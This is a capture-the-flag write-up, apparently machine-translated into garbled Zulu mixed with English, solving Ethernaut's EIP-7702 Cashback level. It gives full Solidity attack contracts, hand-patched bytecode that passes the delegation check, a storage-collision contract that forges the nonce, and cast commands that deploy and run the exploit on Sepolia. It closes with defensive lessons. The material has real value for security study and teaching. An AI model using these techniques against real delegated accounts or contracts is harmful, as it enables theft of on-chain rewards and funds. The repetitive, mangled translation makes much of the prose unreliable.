Nge-EIP-7702 ama-nuances, ngitholile ngokusebenzisa challenge — isinyathelo esenziwe ukuhlola ukuthi abaphakeli baziwa ngokuvamile imiphumela yokhuseleko ye-delegation esisekelwe ku-7702. Ngaphandle kwalokho, isivumelwano ibonisa ngokuphathelene: isofthiwe se-cashback enikeza abasebenzisi ngezimali ze-on-chain futhi inikeza i-cashback NFT okungenani amaphakheji amakhulu amaphakheji. I-Cashback ye-Ethernaut I-Cashback yamahhala I-Cashback ye-Ethernaut Ukuze ubhalisele, abasebenzisi kufuneka ubhalisele ku-Cashback iphakheji ngokusebenzisa I-EIP-7702. Kungenani kuphela angakwazi ukuxhumana ne-payWithCashback futhi ukuqala ukufinyelela ama-points. I-system kubonisa ukulawula ukufinyelela okuqinile, futhi ama-modificators zayo zixazulule imodeli oluthile yokhuseleko. In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges. Ukuphendula https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Ngaba uxhumane i-Cashback, i-cryptobank enhle kakhulu e-city. I-pitch yayo iyatholakala: ngenxa ye-payment ye-on-chain yakho, uzinike amaphuzu. I-Rack up eningi futhi uzothola isakhiwo se-legendary, ukufaka i-Super Cashback NFT badge. I-system isebenzisa i-EIP-7702 ukuze inikeze i-EOA ukudibanisa i-cashback. Abasebenzisi kufuneka u-delegate ku-Cashback contract ukuze usebenzise umsebenzi we-payWithCashback. I-Rumor has it there’s a backdoor for power users. Your short is simple: ukuguqulwa kwelanga le-loyalty program. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, okuyinto eyodwa kufanele ibhekwa idilesi yakho umdlali. Ngaba uxhumane i-Cashback, i-cryptobank enhle kakhulu e-city. I-pitch yayo iyatholakala: ngenxa ye-payment ye-on-chain yakho, uzinike amaphuzu. I-Rack up eningi futhi uzothola isakhiwo se-legendary, ukufaka i-Super Cashback NFT badge. I-system ikhiqiza i-EIP-7702 ukuze inikeze i-EOA ukudibanisa i-cashback. Abasebenzisi kufuneka uxhumane i-Cashback contract ukuze usebenzise i-Cashback Ukusebenza payWithCashback Rumor has it there’s a back door for power users. Your brief is simple: become the loyalty program’s nightmare. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, one of which must correspond to your player address. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } I-Security Model Yokusho I-Cashback Contract isebenzisa ama-modificers ukulawula Thola futhi Ikhowudi esekelwe: who where : Caller identity checks onlyEOA(): Qinisekisa ukuthi umthengisi uye EOA, akuyona i-contract (msg.sender == tx.origin). onlyCashback(): Inikeza umthengisi we-Cashback ngokuvamile. onlyNotCashback(): Qiniseka umxokozeli akuyona i-Cashback Contract. : Execution context checks onlyOnCashback(): Qinisekisa ukuthi ikhodi ifakwe ku-cashback idilesi yekhompyutha. Iziqu ze-modifier ingasebenza kuphela lapho ifakiwe ngqo ku-cashback. notOnCashback(): Qinisekisa ukuthi ikhodi ISITHELWA kwi-Cashback contract idilesi. Lokhu kubalulekile ukuthi umsebenzi kufanele isebenza nge-delegatecall, akuyona ngqo ku-contract. Ngokuyinhloko, uhlelo kufanele isebenza lokhu: I-EOA e-delegated ivumela i-payWithCashback ngokuvamile. Lokhu kusebenza ngenxa yokufaka ku-notOnCashback futhi ivumela i-EOA kuphela. I-payWithCashback isebenze i-Cashback.accrueCashback ngqo ku-Cashback isithombe. I-Cashback inesibopho ezintathu: onlyDelegatedToCashback isivakashi ngoba isivakashi isivakashi i-Cashback, onlyOnCashback isivakashi ngoba isivakashi isivakashi ku-Cashback ngqo. OnlyUnlocked isivakashi isivakashi isivakashi 3. I-unlocked modifier calls isUnlocked on msg.sender. Njengoba i-payWithCashback ihlolwe, le check iyatholakala. Ngesikhathi sokusebenza, i-Cashback ikhulumeni i-consumeNonce ku-msg.sender. Le nkqubo inesibopho amabili: kuphela i-Cashback ikhulumeni ngoba ikhulumeni i-Cashback ikhulumeni, futhi akukho i-OnCashback ikhulumeni ngoba le nkqubo ikhulumeni ku-EOA. Finally, increments the nonce in the EOA's storage. consumeNonce Ukubuyekeza Constant Ngaphambi kokufika, kufuneka ukucacisa ama-parametres eziyinhloko kanye nezidilesi ze-challenge. Imininingwane ezisekelwe I-Cashback i-contract inikeza amayunithi amabili. Nakuba akuyona ngokuvamile ku-deskripti ye-challenge, singatholakala: Imininingwane yeMali yeMali yeMali yeMali Freedom Coin ( ) at FREE 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Ungathola lokhu ngokuvumelana ne-level address kanye ne-check Ngiyaxolisa . its code FREE() Ukusebenza I-Super Cashback ye-NFT Ungathola ikheli lakho ngokufaka on your Cashback instance. superCashbackNFT I-Cashback kunye ne-Cashback Rates To calculate the required spending for maximum cashback, we need two parameters. Find them by calling Waze Ngokusho yakho. I-Contract usebenzisa Ukubuyekezwa kwezingane: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; For example, Freedom Coin has a max cashback of and a rate of (i.e. 2%). Ukubalwa izindleko ezidingekayo: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Kuyinto 25,000 tokens mahhala. Ngena ngemvume Ukuqala ku-0. I-Contract ibonise i-Super Cashback NFT lapho ungena , which is hardcoded to 10,000. SUPERCASHBACK_NONCE Attack Ngaphandle kwe-architecture emangalisayo ebonakalayo ekuqaleni, kunezinto eziningana ezingenalutho etholakalayo. Ukubuyekeza isakhiwo, sincoma ukuthi singathanda directly. Although its modifiers are designed to restrict access to internal calls through , umsebenzi ngokuvamile kuyimfuneko - ngakho-ke singathanda ngqo uma siphinde ama-guards: accrueCashback payWithCashback onlyOnCashback Singathintela ngokuchofoza i-Cashback instance ngqo. onlyUnlocked Njengoba le modifier izivakashi isUnlocked ku-msg.sender, singathintela ngokuvakasha ukusuka ku-contract nge-function isUnlocked enikezela ngokuqondile. This one's tricky. Let's examine it closely: onlyDelegatedToCashback modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } Waze modifier attempts to verify that the caller has delegated to the Cashback contract by reading the delegation address from the account's bytecode. With EIP-7702, delegated accounts have special bytecode: I-modifier ithipha ama-byte ezingu-20 (eyaziwa ukuthi kuyinto i-address) futhi ivumela ukuba zihlanganisa ne-cashback instance address. onlyDelegatedToCashback 0xef0100 Ukubuyekezwa , thina kufuneka ikhodi ye-byte ye-attack yethu ukuze ziyafana ne-delegation designator enhle - ngokuvamile, idilesi ye-Cashback kufanele ifumaneke ku-byte 4-23. Isakhiwo se-byte: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Thina usebenza okuzenzakalelayo ngemva. Okokuqala, thina ukwakha i-attack contract. Preparing the Attack Contract Njengoba kubhalwe, i-contract yethu iyathunyelwa ngokushesha nge-Cashback: ukuhlola ukuba i-unlocked kanye nokusetshenziswa kwe-nonce. Thina kuqinisekisa ukuthi i-unlocked futhi return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second isivakashi. Ngakho sishintshwe a nonce only once. consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling ngokuphathelene, asinge kufuneka uthatha i-tokens emangalisayo - thina nje kufuneka uthatha amayunithi efanele ukuze ufike i-cashback ephezulu. accrueCashback Finally, we'll transfer all cashback and the NFT to our player's address. Ngiyazi i-contract ephelele: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Adjusting Bytecode to Bypass the Delegation Check Now comes the tricky part. We need to modify the bytecode to pass the modifier. Okokuqala, ukwakha i-contracts yakho. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in . There are two properties: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json I-bytecode yi-creation (init) code eyenziwe nje ngexesha lokusebenza. I-constructor logic isebenza futhi ivumela ikhodi yokusebenza ekhanyelwe ku-chain. is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode We'll place our Cashback instance address at offset Okuningi lapho looks for it. The Ngemuva kwalokho: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Ukulungiselela kwi-Embedded Address Ukuze uxhumane idilesi ye-20-byte ngesikhathi sokusebenza okwenziwe ngokuvamile, sicela usebenzisa le opcodes: PUSH1 ukucacisa indawo yokuphuma JUMP ukwenza le jump I-JUMPDEST yokubhalisa indawo yokufinyelela (kufuneka ukunceda ukuyifaka) Ngokuvamile, kuphela le Umhlahlandlela Okufakiwe . onlyDelegatedToCashback <CASHBACK_ADDRESS> But what offset should we jump to? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | I-assumption ebonakalayo kodwa ebonakalayo Ngemuva kwalokho Ngokuvamile, impendulo kulingana ne-happiness yakho ne-cashback address yakho. Sicela ukhawuleze ukuthi kungcono ukuthi. 0x17 <CASHBACK_ADDRESS> My instance is at Ngakho-ke i-contract yami ingaba kuqala lokhu: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Nangona kunjalo, bheka kanjani le bytecode ifakwe: Problem! The byte Ukusebenza kwebhizinisi opcode. Uma i-EVM ihamba , it consumes the following 30 bytes as literal arguments, not as instructions. My ( ) is positioned at offset , kodwa iyasetyenziswa njenge data ukuze Ngaphandle kokusebenza njenge-instruction. Lokhu kuvimbela i-bytecode stream, okwenza when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our ngaphandle kwe-byte angu-30 eyenziwe nge : JUMPDEST PUSH30 Perfect! The Ukubonisa ku-2a. Sishayele yethu isicelo. My lokugqibela version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: (2) + (1) + (20) + (19) + (1). PUSH1 JUMP address padding JUMPDEST Adjusting Jump Offsets Ngaphezu kwalokho, sinikeza Kodwa uma siqhathanisa usayizi we-contract ngama-43 ama-byte, kufuneka ukuguqulwa konke Waze Ukubuyekezwa kwelinye imali. deployedBytecode JUMP JUMPI Ukuze ukuguqulwa, thina ukuthatha indlela yokwenza lokhu manual. Go to , chofoza I-Bytecode, futhi ubeka yakho . Emuva, uzothola uhlu lwe-opcodes. Find the first at [0f]. Thola konke opcodes used by Waze Nge-values ezihambelana oku and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST This method isn't perfect—we might accidentally modify values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 Yini Push2? Njengoba usayizi lokuqala le-contract was 3142 bytes (0x0C46), i-hopping destinations ingaba engaphezu kuka-255, ngakho-ke umbhali kufanele usebenzisa i-PUSH2 ukubonisa kwabo. I-compiler isetshenziselwa i-PUSH2 ngokulinganayo kuzo zonke izindawo zokuphuma, ngaphandle kokuhlanganisa i-PUSH1 ne-PUSH2. Yini PUSH2 ? Njengoba usayizi lokuqala le-contract was 3142 (0x0C46) bytes, izindawo zokuphuma kungabangela 255, ngakho-ke umbhali kufanele usebenzisa PUSH2 Ukubonisa kwabo. I-compiler isetshenziselwa i-PUSH2 ngokulinganayo kuzo zonke izindawo zokuphuma, ngaphandle kokuhlanganisa i-PUSH1 ne-PUSH2. Ukwenza lokhu ngempumelelo kuyinto enhle, ngakho ngithole i-script okuyinto: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process ku . repository Ukukhangisa Ukushayela noma ukulayisha ikhowudi okuhlobene, kuhlanganise lokhu! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Ukushayela noma ukulayisha ikhowudi okuhlobene, kuhlanganise lokhu! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Ukwakhiwa kwe-bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The value in artifacts iqukethe it ekuqaleni. Ngiya kuhle: . Disassembling it ibonisa: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's (3185 bytes). Ikhodi lokuqala yokwenza: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ I-Final Bytecode Assembly The final bytecode is simply the creation code concatenated with the adjusted . deployedBytecode Execute Attack Thola usebenzise yethu bytecode usebenzisa Kusukela Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Execute the attack: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers. Kulesi sikhathi, ungenza i-cashback ephakeme kumazwe ngamazwe kanye nokufumana i-NFT. Nokho, ID yayo ifana ne-akhawunti yakho ye-attack, futhi akuyona i-address yakho ye-player. Thina ungenza enye i-NFT nge-address yakho njenge-ID. Ukusetshenziswa kwe-Storage Collision ye-Second NFT Thina unemibuzo entsha ye-NFT nge-address yethu njenge-ID. Thina akufanele nje ukuguqulwa indlela efanayo njenge-attack edlule. Ngokufanele – ngokuvumela i-EOA yakho ku-Cashback Contract. Kodwa-ke, asikwazi ukuxuba i-Cashback Function, ngakho-ke kufuneka ukwandisa nonce yethu ngezinye indlela. payWithCashback consumeNonce I-EIP-7702 ye-delegation ayikwenza isitoreji eyahlukile ngamunye yebhizinisi elawulwa. Uma i-EOA isitoreji i-contract, ikhodi isebenza ngokumelene ne-EOA isitoreji yayo. Uma usitoreji ku-contracts ezahlukile ngokulandelana nesikhathi, bonke zithole futhi zithole ku-slot efanayo ye-storage e-EOA yakho. Ngokusebenzisa lokhu ukuxhaswa kwe-storage, singakwazi ukuxhaswa i-nonce. Sithole isitoreji esithole ku-slot efanayo se-storage, ukuguqulela i-nonce ku-9999, bese u-re-delegate ku-Cashback kanye nokuthuthukisa i-transaction eyodwa yokwenza i-NFT Mint. Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } Waze is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, ukusuka ku-OpenZeppelin ukuthatha 3 izikhwama ngaphambi , ngakho-ke slot enhle kuyinto Ngokusho oku, sicela uketshe i-nonce enkulu ku-EOA storage yethu. nonce ERC1155 nonce 0x442a9...ba03 Ngiyazi manipulation contract I deployed to Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } Isinyathelo esilandelayo kuyinto ukunikela EOA yethu ukuze I-Foundry ye Ukusekela i-authorization transactions. Ngokuvamile, thina uzodinga i-nonce ye-akhawunti yethu, ukwandisa ku-one-one, ukubhala i-authorization transaction, futhi kuphela ngemuva kokuthumela. Kodwa uma siphumela ngokuvamile, singakwazi nje ukunikeza idilesi ye-authorization. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Now we can set the nonce using Qiniseka, sincoma lokhu umsebenzi ku-imeyili, noma ku- Umhlahlandlela injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Re-delegate your account to the Cashback instance. Follow the same steps as with NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> I-Cashback Contract inikeza umsebenzi ye-nonce yokubuyisa i-nonce yakho. Sishayele ukuthi i-9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Yenza isinyathelo lokugqibela ngokuchofoza payWithCashback ngokuvamile: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL You now own 2 NFTs and maximum cashback. Submit the level! And before we go, don't forget to remove the delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Yini sifundile 1. Validate delegation the right way. Always check the Ngenxa ye-EIP-3541, okuyinto ibhizinisi ukulethwa ukulethwa ama-bytecode ebizwa nge-0xef, le prefix ikakhulukazi ukulethwa kwe-EOA kusuka ku-contracts e-arbitrary. 0xef0100 2. Never store protocol-critical state inside an EOA. Umphakeli we-EOA angakwazi ukuxhaswa kwelinye i-contract, futhi le mphakheji kungenziwa ngokushesha ku-slot efanayo ye-storage - kufaka ama-slots angase ungathanda ukuba zihlukile. Zonke izimo zokhuseleko zihlukile kufanele zihambe . your protocol's storage